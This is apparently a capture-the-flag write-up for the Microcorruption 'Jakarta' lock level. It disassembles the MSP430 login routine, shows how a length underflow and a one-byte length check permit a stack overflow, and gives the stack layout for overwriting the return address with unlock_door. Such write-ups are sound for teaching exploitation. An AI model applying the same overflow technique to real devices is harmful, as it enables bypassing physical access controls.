blog/10-microcorruption

10 Microcorruption - Jakarta

Now we travel to Indonesia, to the city Jakarta

Manual
Lockitall                                            LOCKIT PRO r b.06
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev b.06
______________________________________________________________________


OVERVIEW

    - A firmware update further rejects passwords which are too long.
    - This lock is attached the the LockIT Pro HSM-1.

DETAILS

    The LockIT Pro b.06  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There  is no  default  password  on the  LockIT  Pro HSM-1.   Upon
    receiving the  LockIT Pro,  a new  password must  be set  by first
    connecting the LockitPRO HSM to  output port two, connecting it to
    the LockIT Pro App, and entering a new password when prompted, and
    then restarting the LockIT Pro using the red button on the back.

    LockIT Pro Hardware  Security Module 1 stores  the login password,
    ensuring users  can not access  the password through  other means.
    The LockIT Pro  can send the LockIT Pro HSM-1  a password, and the
    HSM will  return if the password  is correct by setting  a flag in
    memory.

    This is Hardware  Version B.  It contains  the Bluetooth connector
    built in, and two available  ports: the LockIT Pro Deadbolt should
    be  connected to  port  1,  and the  LockIT  Pro  HSM-1 should  be
    connected to port 2.

    This is Software Revision 06.  We have added further mechanisms to
    verify that passwords which are too long will be rejected.


(c) 2013 LOCKITALL                                            Page 1/1

The manual claim to also reject passwords that are too long, and we again have the HSM-1 module

Enumeration

We start with main and a stack pointer at 0x4400

Main

int main(int argc, char **argv, char **envp);
0x4438      add   #0xfc18, sp
0x443c      call  #login
0x4440      clr   r15

This time main also does some stack allocation before calling login, we can calculate the stack pointer the same way we usually do 0x4400 + 0xfc18 󰾞 0x4018, wow that is 1000 bytes, quite a big stack. The call instruction as we know adds the return address 0x4440 to the stack and subtract 2 form the stack pointer, giving us SP = 0x4016 when we start in login

Login

Let’s see if we can figure out a way to circumvent this lock

╭ login();
0x4560      push  r11
0x4562      add   #0xffde, sp

Here we start by saving some state and allocate a bit of stack space for login. The push instruction saves the R11 register on the stack and subtract 2 from the stack pointer, then the value 0xffde is added to SP, this all gives the following equation 0x4016 - 2 + 0xffde 󰾞 0x3ff2

0x4566      mov   #0x4482, r15
0x456a      call  #puts
0x456e      mov   #0x44b3, r15
0x4572      call  #puts
0x4576      mov   #0x44fa, r15
0x457a      call  #puts

Then we have three calls to puts which prints some string to the screen

So this time we again have a username and a password, but those two combined must not be more than 32 characters

0x457e      mov   #0x00ff, r14
0x4582      mov   #0x2402, r15
0x4586      call  #getsn

Now 255 bytes are read from the user, and written to 0x2402

0x458a      mov   #0x2402, r15
0x458e      call  #puts

Here the username is also printed back to the user right after it was inputted

0x4592      mov   #0x2401, r15
│       ╭─> 0x4596      inc   r15
│       ╎   0x4598      tst.b 0x0(r15)
│       ╰─< 0x459c      jnz   $-0x0006
0x459e      mov   r15, r11
0x45a0      sub   #0x2402, r11

This loop start R15 at the start of the username input, and count up until the end (null byte) of the username string. Then the end address is moved into R11 and the start address is subtracted. So R11 now contains the length of the username input

0x45a4      mov   #0x2402, r14
0x45a8      mov   sp, r15
0x45aa      call  #strcpy

Here the username input is copied to the stack using strcpy

0x45ae      cmp.b #0x0021, r11
│       ╭─< 0x45b2      jnc   $+0x000e
│       │   0x45b4      mov   &0x2400, r15
│       │   0x45b8      call  #puts
│       │   0x45bc      br    #__stop_progExec__

Now R11 is compared against 0x21 (33) and we jump if R11 is less than 33, so this checks that the username by itself it not already longer than the 32 limit they told us. If we input a username longer than 32 bytes, we can see that the program prints a string and then stops the program execution, so we want to stay under this limit

│       ╰─> 0x45c0      mov   #0x4516, r15
0x45c4      call  #puts

Here we print another string

0x4516 - “Please enter your password:”

0x45c8      mov   #0x001f, r14
0x45cc      sub   r11, r14

Here the value 0x1f (31) is moved into R14 and the value in R11 is subtracted, R11 still contains the length of the username input, so R14 contains the remaining length allowed for the password input. It is a bit interesting that the value is only 31. The username was check to not be 33 or more characters, so a username input with length 32 is accepted in the previous check. Let’s keep this observation in mind

0x45ce      and   #0x01ff, r14
0x45d2      mov   #0x2402, r15
0x45d6      call  #getsn

Now R14 is ANDed with 0x1ff, this just cap R14 so what ever value R14 contains it will never be larger than 0x1ff (512). R14 is the amount of bytes read from the user. So we never read more than what is left up to the 32 byte limit.

If we input a password that is exactly 32 characters, the calculation before will be 31 - 32 = -1, without going too much into how negative numbers is represented in memory, this will underflow the register and result in R14 having a value of 0xffff.

So we can actually make this call to getsn read up to 512 bytes of input

0x45da      mov   #0x2402, r15
0x45de      call  #puts

And here we have the great print of the inputted password

0x45e2      mov   #0x2402, r14
0x45e6      mov   sp, r15
0x45e8      add   r11, r15
0x45ea      call  #strcpy

Here the password input is copied to the stack, using the stack pointer plus the length of the username, so the password end up right after the username on the stack, potentially 512 bytes

0x45ee      mov   #0x2401, r15
│       ╭─> 0x45f2      inc   r15
│       ╎   0x45f4      tst.b 0x0(r15)
│       ╰─< 0x45f8      jnz   $-0x0006
0x45fa      sub   #0x2402, r15
0x45fe      add   r11, r15

Here we have the same loop where we keep incrementing R15 until it points to the end of our password input, the start address is then subtracted from R15, so it contains the length of the password input, R11 still contains the length of the username, and is then added to R15, resulting in R15 containing the total length of the username and the password

0x4600      cmp.b #0x0021, r15
│       ╭─< 0x4604      jnc   $+0x000e
│       │   0x4606      mov   &0x2400, r15
│       │   0x460a      call  #puts
│       │   0x460e      br    #__stop_progExec__

The same code is used to check if the total length is equal or larger than 33. A thing to note here is that we compare a byte value form R15 to 0x21, but we just found out that we could input up to 512 bytes password data if the username was 32 bytes long. This way we could actually end up with a total length larger than what can be stored in a byte and still pass the length check.

If we input 32 byte username R11 will contain the length 32 (0x20) and we can input 512 byte password. We want the total length to less than 0x21 on the lowest byte. If the password is 224 bytes long, the total length would be 224 + 32 = 256 which is 0x100, and the comparison in 0x4600 would be against 0x00, this means that our password has to be between 224 and 256 bytes, and we will pass the total length check

│       ╰─> 0x4612      mov   sp, r15
0x4614      call  #test_username_and_password_valid
0x4618      tst   r15
│       ╭─< 0x461a      jeq   $+0x000c
│       │   0x461c      call  #unlock_door
│       │   0x4620      mov   #0x4532, r15
│      ╭──< 0x4624      jmp   $+0x0006
│      │╰─> 0x4626      mov   #0x4542, r15
│      ╰──> 0x462a      call  #puts
0x462e      add   #0x0022, sp
0x4632      pop   r11
0x4634      ret

We have more or less figure out how to successfully overflow the stack and sill pass the different length checks, so we will not spend too much time on the last part.

The last part of login is all something we have seen before, the password is tested using the HSM-1, then unlock_door is called if the password is correct, followed by stack clean up.

Exploit

Let’s craft an exploit, the stack layout looks like this

- offset - 0 1  2 3  4 5  6 7  8 9  A B  C D  E F
  0x3ff0  .... SP.. .... .... .... .... .... ....
  0x4000  .... .... .... .... .... .... .... ....
  0x4010  .... .... .... 4044 .... .... .... ....

We input a 32 byte username, and it will end up on the stack like this

- offset - 0 1  2 3  4 5  6 7  8 9  A B  C D  E F
  0x3ff0  .... UUUU UUUU UUUU UUUU UUUU UUUU UUUU
  0x4000  UUUU UUUU UUUU UUUU UUUU UUUU UUUU UUUU
  0x4010  UUUU 00.. .... 4044 .... .... .... ....

Then we need to overwrite the return address with the address of unlock_door ‘0x444c’ and input 224 bytes of data

- offset - 0 1  2 3  4 5  6 7  8 9  A B  C D  E F
  0x3ff0  .... UUUU UUUU UUUU UUUU UUUU UUUU UUUU
  0x4000  UUUU UUUU UUUU UUUU UUUU UUUU UUUU UUUU
  0x4010  UUUU PPPP PPPP 4c44 PPPP PPPP PPPP PPPP

It worked

Door unlocked

/microcorruption/